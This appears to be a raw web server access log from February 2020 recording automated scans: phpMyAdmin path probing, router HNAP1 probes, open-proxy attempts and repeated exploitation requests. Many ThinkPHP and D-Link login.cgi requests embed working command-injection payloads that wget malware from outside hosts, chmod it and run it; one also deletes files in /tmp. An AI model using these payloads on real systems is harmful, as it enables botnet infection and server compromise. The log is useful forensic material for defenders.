218.255.75.156 - - [04/Feb/2020:04:04:12 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:12 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:12 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:12 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:13 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:13 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:13 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:13 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:13 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:14 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:14 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:14 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:14 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:14 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:15 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:15 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:15 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:15 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:15 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:16 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:16 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:16 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:16 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:17 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:17 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:17 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:17 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:17 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:18 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:18 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:18 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:18 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:18 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:19 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:19 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:19 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:19 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:19 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:20 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:20 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:20 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:20 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:21 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:21 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:21 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:21 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:21 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:22 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:22 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:22 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:22 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:22 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:23 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:23 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:23 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
218.255.75.156 - - [04/Feb/2020:04:04:23 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
5.76.141.193 - - [04/Feb/2020:04:06:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.171.218 - - [04/Feb/2020:04:10:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.159.151.14 - - [04/Feb/2020:04:11:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.233.87.143 - - [04/Feb/2020:04:11:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.63.8.224 - - [04/Feb/2020:04:12:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [04/Feb/2020:04:13:00 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
183.80.89.155 - - [04/Feb/2020:04:16:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.173.108 - - [04/Feb/2020:04:17:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.112.150.75 - - [04/Feb/2020:04:18:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.152.39 - - [04/Feb/2020:04:18:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.235.71.43 - - [04/Feb/2020:04:21:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.29.30.253 - - [04/Feb/2020:04:22:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.0.220 - - [04/Feb/2020:04:22:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.24.175 - - [04/Feb/2020:04:23:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.71.44.68 - - [04/Feb/2020:04:26:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.234 - - [04/Feb/2020:04:28:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.244.219.254 - - [04/Feb/2020:04:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
104.219.234.53 - - [04/Feb/2020:04:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
124.161.53.52 - - [04/Feb/2020:04:29:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.10.112.246 - - [04/Feb/2020:04:31:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.9.148.211 - - [04/Feb/2020:04:32:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.200.214.103 - - [04/Feb/2020:04:33:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
41.230.121.183 - - [04/Feb/2020:04:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.52.16.218 - - [04/Feb/2020:04:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.28.1.246 - - [04/Feb/2020:04:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.216.245.215 - - [04/Feb/2020:04:36:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.69.18.155 - - [04/Feb/2020:04:39:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
119.194.64.96 - - [04/Feb/2020:04:39:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.95.186.8 - - [04/Feb/2020:04:39:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.74.129.190 - - [04/Feb/2020:04:40:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.160.233.241 - - [04/Feb/2020:04:40:56 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.128.104.21 - - [04/Feb/2020:04:40:58 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.184.167.221 - - [04/Feb/2020:04:40:58 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.79.49.253 - - [04/Feb/2020:04:40:59 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.219.53 - - [04/Feb/2020:04:41:01 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
121.57.231.41 - - [04/Feb/2020:04:41:02 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
219.140.119.164 - - [04/Feb/2020:04:41:05 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
121.57.10.163 - - [04/Feb/2020:04:41:05 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.115.192.158 - - [04/Feb/2020:04:41:06 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
5.76.141.193 - - [04/Feb/2020:04:44:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.212.113.21 - - [04/Feb/2020:04:48:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
109.73.180.11 - - [04/Feb/2020:04:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.88.9.139 - - [04/Feb/2020:04:49:06 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
77.88.9.139 - - [04/Feb/2020:04:49:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
5.2.196.26 - - [04/Feb/2020:04:51:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
110.82.9.204 - - [04/Feb/2020:04:53:38 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
125.17.29.46 - - [04/Feb/2020:04:55:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
119.202.212.237 - - [04/Feb/2020:04:55:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.80/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.84/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.82/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.87/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.83/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.88/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
